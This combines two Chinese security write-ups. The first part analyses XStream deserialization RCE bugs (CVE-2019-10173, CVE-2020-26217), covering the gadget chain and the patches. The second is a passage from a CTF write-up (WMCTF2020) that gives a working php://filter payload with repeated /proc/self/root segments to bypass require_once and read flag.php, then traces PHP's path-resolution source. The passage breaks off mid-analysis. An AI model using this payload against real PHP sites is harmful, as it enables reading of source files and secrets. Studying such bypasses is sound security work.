* 漏洞名称：XStream Remote Code Execution Vulnerability
* 漏洞编号：CVE-2019-10173
* 漏洞类型：Remote Code Execution
* CVSS评分：CVSS v2.0：7.3 ， CVSS v3.0：9.8
* 漏洞危害等级：高危
**1.2 漏洞概述**
包含类型信息的流在`unmarshalling`时，会再次创建之前写入的对象。因此XStream会基于这些类型信息创建新的实例。攻击者可以操控XML数据，将恶意命令注入在在可以执行任意shell命令的对象中，实现漏洞的利用。
**1.3 漏洞利用条件**
无
**1.4 漏洞影响**
影响版本：
XStream = 1.4.10
**1.5 漏洞修复**
获取XStream最新版本，下载链接：<https://x-stream.github.io/download.html>
**2.漏洞复现**
**2.1 环境拓扑**
**2.2 应用协议**
8080/HTTP
**2.3 环境搭建**
基于Windows平台，使用`环境`目录下的`xstreamdemo`环境，拷贝后使用Idea打开`xstreamdemo`文件夹，下载maven资源，运行DemoApplication类，即可启动环境。效果如图。
**2.4 漏洞复现**
运行`sniper`工具箱，填写表单信息，点击Attack，效果如图。
**3.漏洞分析**
**3.1 详细分析**
**3.1.1 代码分析**
CVE-2019-10173漏洞与CVE-2013-7285漏洞原理相同，由于在XStream的安全模式默认不启动，导致防御失效。
**Xstream 1.4.7对于漏洞的防御措施：**
通过在`com.thoughtworks.xstream.converters.reflection.ReflectionConverter`添加`type
!= eventHandlerType`阻止`ReflectionConverter`解析`java.beans.EventHandler`类
**Xstream 1.4.10漏洞产生原因：**
在`com.thoughtworks.xstream.converters.reflection.ReflectionConverter`类中，canConvert方法中的`type
!= eventHandlerType`被删除了，使得原来的漏洞利用方式可以再次被利用。
由于在Xstream1.4.10中的`com.thoughtworks.xstream.XStream`类增加了`setupDefaultSecurity()`方法和`InternalBlackList`转换器，通过黑名单的形式对漏洞进行防御。但是安全模式默认不开启，必须在初始化后才可以使用，eg：`XStream.setupDefaultSecurity(xStream)`。导致防御失效，造成漏洞的第二次出现。
**3.1.2补丁分析**
XStream1.4.11版本中，在`com.thoughtworks.xstream.XStream`更改安全模式初始化方法中的`securityInitialized`标志位。在调用`InternalBlackList`转换器中的`canConvert`方法时,可以进行黑名单匹配，从而防御了此漏洞。
**漏洞防御**
在Xstream1.4.11中的`com.thoughtworks.xstream.XStream`类中`InternalBlackList`类会对`java.beans.EventHandler`进行过滤，`java.beans.EventHandler`执行`marshal`或者`unmarshal`方法时，会抛出异常终止程序。
#### 4.3 XStream 远程代码执行漏洞
**1.漏洞信息**
**1.1 漏洞简介**
* 漏洞名称：XStream Remote Code Execution Vulnerability
* 漏洞编号：CVE-2020-26217
* 漏洞类型：Remote Code Execution
* CVSS评分：CVSS v2.0：无， CVSS v3.0：8.0
* 漏洞危害等级：高危
**1.2 漏洞概述**
包含类型信息的流在`unmarshalling`时，会再次创建之前写入的对象。因此XStream会基于这些类型信息创建新的实例。攻击者可以操控XML数据，将恶意命令注入在在可以执行任意shell命令的对象中，实现漏洞的利用。
**1.3 漏洞利用条件**
* 无
**1.4 漏洞影响**
影响版本：
XStream = 1.4.13
**1.5 漏洞修复**
获取XStream最新版本，下载链接：<https://x-stream.github.io/download.html>
**2.漏洞复现**
**2.1 环境拓扑**
**2.2 应用协议**
8080/HTTP
**2.3 环境搭建**
基于Windows平台，使用`环境`目录下的`xstreamdemo`环境，拷贝后使用Idea打开`xstreamdemo`文件夹，下载maven资源，运行DemoApplication类，即可启动环境。效果如图。
**2.4 漏洞复现**
运行`sniper`工具箱，填写表单信息，点击Attack，效果如图。
**3.漏洞分析**
**3.1 详细分析**
**3.1.1 代码分析**
代码分析：传入的payload首先会在`com.thoughtworks.xstream.XStream`的`fromXML()`方法中处理，在进入`unmarshal()`方法中进行解集。
在`com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy`类中的`unmarshal()`方法中调用`start()`方法进行Java对象转换。
在`com.thoughtworks.xstream.core.TreeUnmarshaller`类中的`start()`方法通过调用`readClassType()`获取`type`类型。
在`readClassType()`方法中调用`readClassAttribute`方法。
进入`readClassAttribute`方法调用`aliasForSystemAttribute`方法获取别名。调用`getAttribute`方法，获取reader对象中记录的外部传入XML数据中是否存在对应的标签，如果不存在则返回null。
回到`HierarchicalStreams#readClassType`方法中调用`realClass`方法，通过别名在wrapped对象中的Mapper中循环查找，获取与别名对应的类。
在`DefaultMapper`中，通过反射，获取到string标签传入的class，并将类存入realClassCache对象中。
回到`TreeUnmarshaller#start`方法，调用`convertAnother`方法。进入`convertAnother`方法后，调用`lookupConverterForType`方法，寻找对应类型的转换器。进入`lookupConverterForType`方法，循环获取转换器列表中的转换器，调用转换器类中的`canConvert`方法判断选出的转换器是否可以对传入的type类型进行转换。
转换器`ReflectionConverter`中`canConvert`方法判断，传入的type非null，返回true，表示可以使用`ReflectionConverter`转换器进行转换。
回到`DefaultConverterLookup#lookupConverterForType`方法，将选取的converter与对应的type存入typeToConverterMap。
回到`TreeUnmarshaller#convertAnother`方法中，调用`this.convert`方法。
首先判断传入的xml数据中是否存在reference标签，如果不存在，则将当前标签压入parentStack栈中，并调用父类的`convert`方法。
在`com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.duUnmarshal()`方法获取下面的节点元素`iter
java.util.ArrayList$Itr`。
具体流程如下：调用`getFieldOrNull`方法，判断xml格式中传入的标签名在目标类中是否存在对应属性。
在调用`reader.getNodeName()`方法获取标签名，并赋值给originalNodeName。
调用`realMember`方法获取反序列化属性的名称。
调用`readClassAttribute`方法获取iter标签中传入的类名
调用`realClass`获取上述过程中类名对应的类，并调用`unmarshallField`方法进行解析。
进入方法中，寻找对应type的转换器，使用选中的ReflectionConverter转换器进行解组。
使用`ReflectionConverter` convert处理`java.util.ArrayList$Itr`
，在`duUnmarshal()`方法获取`cursor`标签和`cursor`标签下的参数。（调用`unmarshallField`方法，与上述流程相似）
调用`this.reflectionProvider.writeField`方法，将参数值传入对象中。
回到`AbstractReflectionConverter#doUnmarshal`方法中获取后续的标签及其参数（分别为lastRet，expectedModCount，outer-class）。
按照同样的反序列化流程获取属性值，并写入对象。
解析outer-class标签，由于type是`java.util.ArrayList`，选择转换器是`CollectionConverter`。
调用`CollectionConverter#unmarshal`方法进行反序列化。
调用`CollectionConverter#populateCollection` ->
`CollectionConverter#addCurrentElementToCollection`->`AbstractCollectionConverter#readItem`方法。最终调用realClass方法获取type类，获取过程中将outer-class标签下的子标签存入realClassCache中。
回到`AbstractCollectionConverter#readBareItem`方法调用`convertAnother`方法，按照之前的流程进行反序列化，为属性赋值，并写入对象。
最终返回`ProcessBuilder`对象，写入`FilterIterator`对象中。
在按照获取`java.util.ArrayList$Itr`对象相同的流程获取`javax.imageio.ImageIO$ContainsFilter`对象，通过反序列化为其内部的method属性和name属性进行赋值。
在选择转换器的过程中，由于method属性的类型是`java.lang.reflect.Method`，因此选择对应的转换器为JavaMethodConverter。
调用`JavaMethodConverter#unmarshal`方法进行xml数据解析，获取java.lang.processBuilder类中的start方法对象，写入到`javax.imageio.ImageIO$ContainsFilter`对象中。
再按照相同的流程，将start方法名写入name属性中。
最终在调用`ReflectionProvider#writeField`方法将`javax.imageio.ImageIO$ContainsFilter`对象写进`FilterIterator`对象的filter属性中。
将`FilterIterator`对象返回给最初的`iterator`对象中。
调用`iterator.next()`方法时，会调用其实现类`FilterIterator`中的next方法。
进入调用advance方法，调用filter方法时，会通过反射执行ProcessBuilder对象中的start方法，从而造成代码执行。
**3.1.2补丁分析**
XStream1.4.11版本中，在`com.thoughtworks.xstream.XStream`更改安全模式初始化方法中的`securityInitialized`标志位。在调用`InternalBlackList`转换器中的`canConvert`方法时,可以进行黑名单匹配，从而防御了此漏洞。
**漏洞防御**
XStream1.4.14版本中，在`com.thoughtworks.xstream.XStream`的黑名单添加`java.lang.ProcessBuilder`和`javax.imageio.ImageIO$ContainsFilter`。从而防御了此漏洞。
## 5.漏洞利用
### XStream 远程代码执行漏洞
漏洞利用视频，请转到原文观看，链接：<https://mp.weixin.qq.com/s/WtT0o2ygGGQek3wvIulfiQ>
## 6.参考链接
1.<https://blog.csdn.net/yaomingyang/article/details/80981004>
2.<https://github.com/x-stream/xstream/compare/XSTREAM_1_4_6...XSTREAM_1_4_7>
3.<https://github.com/x-stream/xstream/compare/XSTREAM_1_4_10...XSTREAM_1_4_11>
4.<https://github.com/x-stream/xstream/compare/XSTREAM_1_4_13...XSTREAM_1_4_14>
* * * | 社区文章 |
# php源码分析 require_once 绕过不能重复包含文件的限制
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
众所周知，在php中，`require_once`在调用时php会检查该文件是否已经被包含过，如果是则不会再次包含，那么我们可以尝试绕过这个机制吗？不写入webshell只读文件有办法吗？
<?php
error_reporting(E_ALL);
require_once('flag.php');
highlight_file(__FILE__);
if(isset($_GET['content'])) {
$content = $_GET['content'];
require_once($content);
} //题目的代码来自WMCTF2020 make php great again 2.0 绕过require_once是预期解
php的文件包含机制是将已经包含的文件与文件的真实路径放进哈希表中，当已经`require_once('flag.php')`，已经include的文件不可以再require_once。
今天就来谈谈，怎么设想如何绕过这个哈希表，让php认为我们传入的文件名不在哈希表中，又可以让php能找到这个文件，读取到内容。
在这里有个小知识点，`/proc/self`指向当前进程的`/proc/pid/`，`/proc/self/root/`是指向`/`的符号链接，想到这里，用伪协议配合多级符号链接的办法进行绕过，payload:
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
//result PD9waHAKCiRmbGFnPSJ0ZXN0e30iOwo=
接下来我们将对绕过的原理进行分析，php7.2.23的源码进行分析，建议配合Clion在linux里进行调试，至于如何搭建调试环境，可以自行搜索，参考一些别的文章。
## 分析
### 0x00 思路整理
那么为什么可以呢？，既然是包含文件，我们可以先从`zend_execute.c:
zend_include_or_eval()`这个函数看起，这里有一堆switch case：
case ZEND_REQUIRE_ONCE: {
zend_file_handle file_handle;
zend_string *resolved_path;
resolved_path = zend_resolve_path(Z_STRVAL_P(inc_filename), (int)Z_STRLEN_P(inc_filename));
//解析文件的真实路径，按文件的真实路径去访问文件
//如果不存在则先不动，原样复制，后面用zend_stream_open伪协议的办法访问
//若文件名给定的是scheme://开头的字符串，只有当wrapper == &php_plain_files_wrapper的时候fopen_wrappers.c: php_resolve_path()才对路径进行解析，否则返回NULL
//很明显，我们给的是个php://伪协议，所以zend_resolve_path失败，返回NULL，进入else。
if (resolved_path) {
//绕过去了
if (zend_hash_exists(&EG(included_files), resolved_path)) {
//去哈希表匹配对应的文件路径
goto already_compiled;
}
} else {
//现在直接拷贝，原来什么样现在什么样
resolved_path = zend_string_copy(Z_STR_P(inc_filename));
}
//开始用伪协议的方式进行文件包含，路径解析的结果将被写入file_handle.opened_path里
if (SUCCESS == zend_stream_open(ZSTR_VAL(resolved_path), &file_handle)) {
//解析结果：/proc/24273/root/proc/self/root/var/www/html/flag.php
if (!file_handle.opened_path) {
//不会被执行
file_handle.opened_path = zend_string_copy(resolved_path);
}
if (zend_hash_add_empty_element(&EG(included_files), file_handle.opened_path)) {
zend_op_array *op_array = zend_compile_file(&file_handle, (type==ZEND_INCLUDE_ONCE?ZEND_INCLUDE:ZEND_REQUIRE));
zend_destroy_file_handle(&file_handle);
zend_string_release(resolved_path);
if (Z_TYPE(tmp_inc_filename) != IS_UNDEF) {
zend_string_release(Z_STR(tmp_inc_filename));
}
return op_array;
} else {
zend_file_handle_dtor(&file_handle);
already_compiled:
new_op_array = ZEND_FAKE_OP_ARRAY;
}
} else {
if (type == ZEND_INCLUDE_ONCE) {
zend_message_dispatcher(ZMSG_FAILED_INCLUDE_FOPEN, Z_STRVAL_P(inc_filename));
} else {
zend_message_dispatcher(ZMSG_FAILED_REQUIRE_FOPEN, Z_STRVAL_P(inc_filename));
}
}
zend_string_release(resolved_path);
}
break;
php要怎么判断一个文件之前有没有被包含过呢？那当然去哈希表里找啦，在去哈希表里找之前，得先把文件名过滤干净（比如说`/flag.php/../flag.php`最后还是会回到`/flag.php`，php可不傻），然后再放进哈希表里匹配。
按照我们给定的代码，include的顺序应该是`index.php -> flag.php ->
$content`所以我们给了个伪协议，就先绕过去了，但是如果`/proc/self/root`的长度给短了，会发现解析出来的`opened_path`变成了`/var/www/html/flag.php`，为什么呢？我们可以跟踪一下代码，当进行`require_once($content)`跟进`zend_stream_open()`，找到`opened_path`被修改的地方。
### 0x01 步入正轨
跟跟跟，发现在`php_stream_open_for_zend_ex`里，`&handle->opened_path`的指针被作为第三个参数传递出去了，给了`_php_stream_open_wrapper_ex()`，然后经过一番波折返回回去。
我们可以用Clion的计算表达式功能看一下它的地址`&handle->opened_path`，这里是`0x7ffd908b3580`。，我们得知道它在哪里被修改的，修改的值在哪生成的。先发现它是由`plain_wrapper.c:
_php_stream_fopen()`第1026行进行写入：
/*
此时_php_stream_open_wrapper_ex执行到了这里：
if (wrapper) {
if (!wrapper->wops->stream_opener) {
php_stream_wrapper_log_error(wrapper, options ^ REPORT_ERRORS,
"wrapper does not support stream open");
} else {
----> stream = wrapper->wops->stream_opener(wrapper,
path_to_open, mode, options ^ REPORT_ERRORS,
opened_path, context STREAMS_REL_CC);
}
*/
#ifdef PHP_WIN32
fd = php_win32_ioutil_open(realpath, open_flags, 0666);
#else
fd = open(realpath, open_flags, 0666);
#endif
if (fd != -1) {
if (options & STREAM_OPEN_FOR_INCLUDE) {
ret = php_stream_fopen_from_fd_int_rel(fd, mode, persistent_id);
} else {
ret = php_stream_fopen_from_fd_rel(fd, mode, persistent_id);
}
if (ret) {
if (opened_path) {
//由realpath写入opened_path
*opened_path = zend_string_init(realpath, strlen(realpath), 0);
}
if (persistent_id) {
efree(persistent_id);
}
知道了哪里写的，那怎么来的就好找到了，用计算表达式的功能，取址，记下来：`0x7ffebc13cd50`。
同样在这个函数里，往前翻一点点，注意到了这。是`expand_filepath`它改写了`realpath`，而`realpath`就是想要的`/proc/24273/root/proc/self/root/var/www/html/flag.php`：
if (options & STREAM_ASSUME_REALPATH) {
//直接把传入的filename当成真实路径处理，然而没有执行这里
strlcpy(realpath, filename, sizeof(realpath));
} else {
if (expand_filepath(filename, realpath) == NULL) {
//对文件名进行路径扩展，找到真实的路径
return NULL;
}
}
跟进去，发现是在`virtual_file_ex`里，调用`tsrm_realpath_r`获取解析结果`resolved_path`，处理了一番，把结果通过`state`带回去
add_slash = (use_realpath != CWD_REALPATH) && path_length > 0 && IS_SLASH(resolved_path[path_length-1]);
t = CWDG(realpath_cache_ttl) ? 0 : -1;
path_length = tsrm_realpath_r(resolved_path, start, path_length, &ll, &t, use_realpath, 0, NULL);
//路径解析结果真正是从tsrm_realpath_r来的，通过resolved_path传过来
//值就是'/proc/24273/root/proc/self/root/var/www/html/flag.php'
//然后经过下面的处理一下，实际上根本没处理什么
...
if (verify_path) {
...
} else {
state->cwd_length = path_length;
tmp = erealloc(state->cwd, state->cwd_length+1);
state->cwd = (char *) tmp;
//在这里把结果先写入了state->cwd，通过这个state把结果带回去
memcpy(state->cwd, resolved_path, state->cwd_length+1);
ret = 0;
}
/* Stacktrace
virtual_file_ex zend_virtual_cwd.c:1385
expand_filepath_with_mode fopen_wrappers.c:816
expand_filepath_ex fopen_wrappers.c:754
expand_filepath fopen_wrappers.c:746
_php_stream_fopen plain_wrapper.c:991
*/
然后在`expand_filepath_with_mode`这里写入：
if (virtual_file_ex(&new_state, filepath, NULL, realpath_mode)) {
//刚才的virtual_file_ex没忘吧，结果在new_state->cwd里面
efree(new_state.cwd);
return NULL;
}
if (real_path) {
copy_len = new_state.cwd_length > MAXPATHLEN - 1 ? MAXPATHLEN - 1 : new_state.cwd_length;
memcpy(real_path, new_state.cwd, copy_len);
//在这在这，这里写进去了，不信看看real_path的地址是不是0x7ffebc13cd50
real_path[copy_len] = '\0';
} else {
real_path = estrndup(new_state.cwd, new_state.cwd_length);
}
### 0x02 路径的解析
验证了从哪里来，要到哪里去，那现在就该看看是怎么蹦出来的了。
`tsrm_realpath_r`是用来解析真实路径的，这一堆解析字符串的代码看着就让人头大，而且还递归调用。
这个函数做了哪些事情呢？从后往前进行匹配，对于`. ..
//`等进行特殊处理，特殊处理后重新调整路径的总长度，比如遇到`/var/www/..`的时候就移除掉`www/..`，剩下`/var`，再进行下面的操作。最后把路径传入`tsrm_realpath_r`继续递归调用。
那先让他递归调用好了，递归到要返回的最后一层，看看每一层递归时函数接受的参数就好办了。
简单来说，递归机制是从后往前，`/var/www/html/1.php -> /var/www/html -> /var/www`。
我们发现堆栈长这样子，似乎一切从那个1173行开始就不一样了，为什么呢，那我们得重新跟一次，记下这是第几次递归，断点还是下在`tsrm_realpath_r`的首行，重新跟的时候数下递归了几次，找到这次调用有啥不同，最简单的办法就是递归几次就按几次F9（继续执行程序），为了方便起见，我们把来自1137行的调用记为第`n`次递归，简称`(n)`：
tsrm_realpath_r zend_virtual_cwd.c:756 (n+4) return 1
tsrm_realpath_r zend_virtual_cwd.c:1124 (n+3) return 1
tsrm_realpath_r zend_virtual_cwd.c:1164 (n+2) return 5
tsrm_realpath_r zend_virtual_cwd.c:1164 (n+1)
tsrm_realpath_r zend_virtual_cwd.c:1137 (n)
tsrm_realpath_r zend_virtual_cwd.c:1164 (n-1)
tsrm_realpath_r zend_virtual_cwd.c:1164
...
tsrm_realpath_r zend_virtual_cwd.c:1164 (1)
tsrm_realpath_r zend_virtual_cwd.c:1164
去掉`ZEND_WIN32`的无关部分，实际上我们可以发现，每次递归都会对`. ..
//`特殊情况进行处理，然后之前的一大堆`(0)...(n-1)`，`php_sys_lstat(path,
&st)`的返回值都是`-1`，而到了`(n)`，可以发现`php_sys_lstat(path, &st)`为`0`
static int tsrm_realpath_r(char *path, int start, int len, int *ll, time_t *t, int use_realpath, int is_dir, int *link_is_dir) /* {{{ */
{
int i, j, save;
int directory = 0;
#ifdef ZEND_WIN32
...
#else
zend_stat_t st;
#endif
realpath_cache_bucket *bucket;
char *tmp;
ALLOCA_FLAG(use_heap)
while (1) {
if (len <= start) {
if (link_is_dir) {
*link_is_dir = 1;
}
return start;
}
i = len;
while (i > start && !IS_SLASH(path[i-1])) {
i--;
}
/* 对. .. //这三种情况进行特殊处理 */
if (i == len ||
(i == len - 1 && path[i] == '.')) {
/* remove double slashes and '.' */
...
} else if (i == len - 2 && path[i] == '.' && path[i+1] == '.') {
/* remove '..' and previous directory */
...
}
path[len] = 0;
save = (use_realpath != CWD_EXPAND);
if (start && save && CWDG(realpath_cache_size_limit)) {
/* cache lookup for absolute path */
...
}
#ifdef ZEND_WIN32
...
#else
//(0)...(n-1)的save值到这都是1
if (save && php_sys_lstat(path, &st) < 0) {
//(0)..(n-1)可以进入到这里，因为php_sys_lstat(path, &st)=-1，而(n)以及之后的都不行！
if (use_realpath == CWD_REALPATH) {
/* file not found */
return -1;
}
/* continue resolution anyway but don't save result in the cache */
//(0)..(n-1)的save都是0
save = 0;
}
tmp = do_alloca(len+1, use_heap);
//把path拷贝一份给tmp
memcpy(tmp, path, len+1);
//因为(n)的save是1，所以继续判断是不是符号链接
//st.st_mode是文件的类型和权限，S_ISLNK返回是不是符号链接
if (save && S_ISLNK(st.st_mode)) {
//调用前的path为：
//php_sys_readlink就是读取符号链接所指向的真实位置，并写入到path变量，j是长度
if (++(*ll) > LINK_MAX || (j = php_sys_readlink(tmp, path, MAXPATHLEN)) < 0) {
/* too many links or broken symlinks */
free_alloca(tmp, use_heap);
return -1;
}
path[j] = 0;
//末尾补上\0，完成读取，此时的path是进程的pid
if (IS_ABSOLUTE_PATH(path, j)) {
//
j = tsrm_realpath_r(path, 1, j, ll, t, use_realpath, is_dir, &directory);
if (j < 0) {
free_alloca(tmp, use_heap);
return -1;
}
j = tsrm_realpath_r(path, 1, j, ll, t, use_realpath, is_dir, &directory);
if (j < 0) {
free_alloca(tmp, use_heap);
return -1;
}
} else {
if (i + j >= MAXPATHLEN-1) {
free_alloca(tmp, use_heap);
return -1; /* buffer overflow */
}
memmove(path+i, path, j+1);
memcpy(path, tmp, i-1);
path[i-1] = DEFAULT_SLASH;
j = if
if (i - 1 <= start) {
j = start;
} else {
/* some leading directories may be unaccessable */
j = tsrm_realpath_r(path, start, i-1, ll, t, save ? CWD_FILEPATH : use_realpath, 1, NULL); //第1164行，(1)...(n)的调用来源。
if (j > start) {
path[j++] = DEFAULT_SLASH;
}
}
if (j < 0 || j + len - i >= MAXPATHLEN-1) {
free_alloca(tmp, use_heap);
return -1;
}
memcpy(path+j, tmp+i, len-i+1);
j += (len-i);
}
if (save && start && CWDG(realpath_cache_size_limit)) {
/* save absolute path in the cache */
realpath_cache_add(tmp, len, path, j, directory, *t);
}
free_alloca(tmp, use_heap);
return j;
}
}
### 0x03 符号链接
仔细想想我们的payload是什么？循环构造符号链接？那`php_sys_lstat()`是啥？
`php_sys_lstat()`实际上就是linux的`lstat()`，这个函数是用来获取一些文件相关的信息，成功执行时，返回0。失败返回-1，并且会设置`errno`，因为之前符号链接过多，所以`errno`就都是`ELOOP`，符号链接的循环数量真正取决于`SYMLOOP_MAX`，这是个`runtime-value`，它的值不能小于`_POSIX_SYMLOOP_MAX`。
我们也可以在执行了`php_sys_lstat()`之后调用`perror()`验证`errno`是不是`ELOOP`。
参考了文档[sysconf](https://man7.org/linux/man-pages/man3/sysconf.3.html)，还是通过Clion的计算表达式功能，算下`sysconf(_SC_SYMLOOP_MAX)`和`sysconf(_POSIX_SYMLOOP_MAX)`，但是这回没有成功，`SYMLOOP_MAX`居然是`-1`，那我们用其他办法获取，最简单的办法就是手动实践，暴力获取。
import os
os.system("echo 233> l00")
for i in range(0,99):
os.system("ln -s l%02d l%02d"%(i,i+1))
然后ls -al一下，发现`l42`这个符号链接就无效了，最后一个有效的符号链接是`l41`，所以有效的应该是`41->40, 40->39 ...,
01->00`，一共41个，所以`SYMLOOP_MAX`是`40`，指向符号链接的符号链接的个数是40。
所以一大堆`/proc/self/root`拼一起，从后往前倒，递归调用`tsrm_real_path_r`，直到`php_sys_lstat`返回`0`，即成功。
成功时的path内容见如下，`/proc/self`是个符号链接指向当前进程`pid`，`self`底下的`root`也是个符号链接，所以算下，也是41个，正正好吧？
>>> a = "/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self"
>>> print(a.count("self")+a.count("root"))
41
验证一下：用Clion计算表达式功能，我们可以发现：
lstat("/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self") 返回 0
lstat("/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root") 返回 -1
### 0x04 递归逐层剖析
然后既然`php_sys_lstat()`为1，在`(n)`它干了什么？
//刚刚调试的结果是(n)以及它之后的save都为1
//"/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self"就是/proc/self，是个符号链接，为进程的pid，S_ISLNK判断是不是符号链接
if (save && S_ISLNK(st.st_mode)) {
//调用前的path为：
//php_sys_readlink就是读取符号链接所指向的真实位置，并写入到path变量，j是长度
if (++(*ll) > LINK_MAX || (j = php_sys_readlink(tmp, path, MAXPATHLEN)) < 0) {
/* too many links or broken symlinks */
free_alloca(tmp, use_heap);
return -1;
}
path[j] = 0;
//末尾补上\0，完成读取，此时的path是进程的pid，path="24273"
if (IS_ABSOLUTE_PATH(path, j)) {
//很明显"24273"不是个绝对路径，去看else
j = tsrm_realpath_r(path, 1, j, ll, t, use_realpath, is_dir, &directory);
if (j < 0) {
free_alloca(tmp, use_heap);
return -1;
}
} else {
if (i + j >= MAXPATHLEN-1) {
free_alloca(tmp, use_heap);
return -1; /* buffer overflow */
}
//开始构造路径，先把path[0...j]往后挪，放到path[i]的位置上
//j+1是个数，从下标0到下标j当然是j+1个
memmove(path+i, path, j+1);
//把tmp[0...i-1]拷贝回path[0...i-2]
//i-1是个数，下标0到下标i-2是i-1个
memcpy(path, tmp, i-1);
path[i-1] = DEFAULT_SLASH;
//加个/上去，这时候的path：
//"/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/24273"
j = tsrm_realpath_r(path, start, i + j, ll, t, use_realpath, is_dir, &directory);
//进行(n+1)的递归调用
if (j < 0) {
free_alloca(tmp, use_heap);
return -1;
}
}
if (link_is_dir) {
*link_is_dir = directory;
}
}
(n+1)次的时候，此时path不再是符号链接，因此进入else：
} else {
if (save) {
directory = S_ISDIR(st.st_mode);
//由传入的link_is_dir变量，是的话把指针指向directory
if (link_is_dir) {
*link_is_dir = directory;
}
if (is_dir && !directory) {
/* not a directory */
free_alloca(tmp, use_heap);
return -1;
}
}
if (i - 1 <= start) {
j = start;
} else {
/* some leading directories may be unaccessable */
//1164行，又进到了这里，save=1，进行(n+2)递归调用，把自己的use_realpath参数也给传进去。
//path没变，和(n)一样，但是传入的link_is_dir变成了NULL
j = tsrm_realpath_r(path, start, i-1, ll, t, save ? CWD_FILEPATH : use_realpath, 1, NULL);
//拿到的j=1
if (j > start) {
path[j++] = DEFAULT_SLASH;
}
}
#ifdef ZEND_WIN32
...
#else
if (j < 0 || j + len - i >= MAXPATHLEN-1) {
free_alloca(tmp, use_heap);
return -1;
}
//前面拿到j=1，tmp[i...len-i]复制到path[1...1+len-i]
//就是把tmp的最后几个字符复制到path的前面去
memcpy(path+j, tmp+i, len-i+1);
j += (len-i);
//重新计算总长度，返回回去，新的path是"/proc"，j=5。
}
(n+2)和(n+1)一样，也在1164行进行下一次递归调用，(n+2)传递给(n+3)的参数：
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc
在(n+3)时，经过`tsrm_realpath_r`前面的处理，path的最后一个`/proc`没了，这时候剩下的`/proc/self.../root`就又是一个符号链接。
老样子，既然是符号链接，save又是1，那么就调用php_sys_readlink读取符号链接，读的结果是什么？是`/`。
if (++(*ll) > LINK_MAX || (j = php_sys_readlink(tmp, path, MAXPATHLEN)) < 0) {
/* too many links or broken symlinks */
free_alloca(tmp, use_heap);
return -1;
}
path[j] = 0;
//path = "/", j = 1
if (IS_ABSOLUTE_PATH(path, j)) {
//进到了这里 is_dir =1 ,directory=0，进行(n+4)，这是最后一次
//tsrm_realpath_r("/", 1, 1, ll, t, 1, 1, &directory)，返回值为j=1
j = tsrm_realpath_r(path, 1, j, ll, t, use_realpath, is_dir, &directory);
if (j < 0) {
free_alloca(tmp, use_heap);
return -1;
}
} else {
...
}
if (link_is_dir) {
*link_is_dir = directory;
}
### 0x05 递归调用返回
然后在(n+4)前面的while(1)，由于`len <= start`，所以直接提前返回，返回值为`start=1`：
while (1) {
//len=1,start=1
if (len <= start) {
if (link_is_dir) {
*link_is_dir = 1;
}
return start;
}
从(n+3)开始返回回去，给(n+2)的返回值也是`1`，但是(n+2)返回(n+1)的时候做了别的事情：
} else {
if (save) {
...
}
if (i - 1 <= start) {
j = start;
} else {
/* some leading directories may be unaccessable */
j = tsrm_realpath_r(path, start, i-1, ll, t, save ? CWD_FILEPATH : use_realpath, 1, NULL);
//j=1, start=1
if (j > start) {
path[j++] = DEFAULT_SLASH;
}
}
if (j < 0 || j + len - i >= MAXPATHLEN-1) {
free_alloca(tmp, use_heap);
return -1;
}
//前面拿到j=1，tmp[1...len-i]复制到path[1...1+len-i]
//len是原来传进来的字符串的总长度，i和len是tsrm_real_path_r对'.. . //'特殊处理之前决定的
//比如path是'/var/www/html/'，那这里的i就在html之后的/上面
/*
761 i = len;
762 while (i > start && !IS_SLASH(path[i-1])) {
763 i--;
764 }
*/
//
memcpy(path+j, tmp+i, len-i+1);
j += (len-i);
//重新计算总长度，返回回去，新的path是"/proc/"，j=5，最后返回给(n+1)。
}
(n+1)返回给(n)：
} else {
if (save) {
...
}
if (i - 1 <= start) {
j = start;
} else {
/* some leading directories may be unaccessable */
j = tsrm_realpath_r(path, start, i-1, ll, t, save ? CWD_FILEPATH : use_realpath, 1, NULL);
//path="/proc", j=5, start=1
if (j > start) {
path[j++] = DEFAULT_SLASH;
//末尾加个'/', j+=1, 现在j=6
}
}
if (j < 0 || j + len - i >= MAXPATHLEN-1) {
free_alloca(tmp, use_heap);
return -1;
}
//前面拿到j=6，tmp[i...len-i]复制到path[6...6+len-i]
/*
